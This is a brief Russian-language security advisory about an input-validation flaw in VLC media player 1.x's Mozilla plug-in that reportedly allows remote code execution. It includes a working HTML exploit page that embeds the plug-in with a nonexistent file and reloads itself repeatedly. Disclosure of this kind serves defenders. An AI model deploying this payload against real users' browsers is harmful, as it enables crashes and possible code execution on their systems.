Программа: VLC media player 1.x

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на
целевой системе. Уязвимость существует из-за ошибки в проверке входных данных в
"VLC Multimedia Plug-in" для Mozilla. Атакующий может передать несуществующий
файл (с любым расширением) в параметр "src", что приведет к выполнению
произвольного кода.

Эксплоит:

<html>
<body onload="setTimeout('location.reload()', 100);">
<embed type="application/x-vlc-plugin" src="NonExistantFileName.avi"></embed>
</body>
</html>

Оставить мнение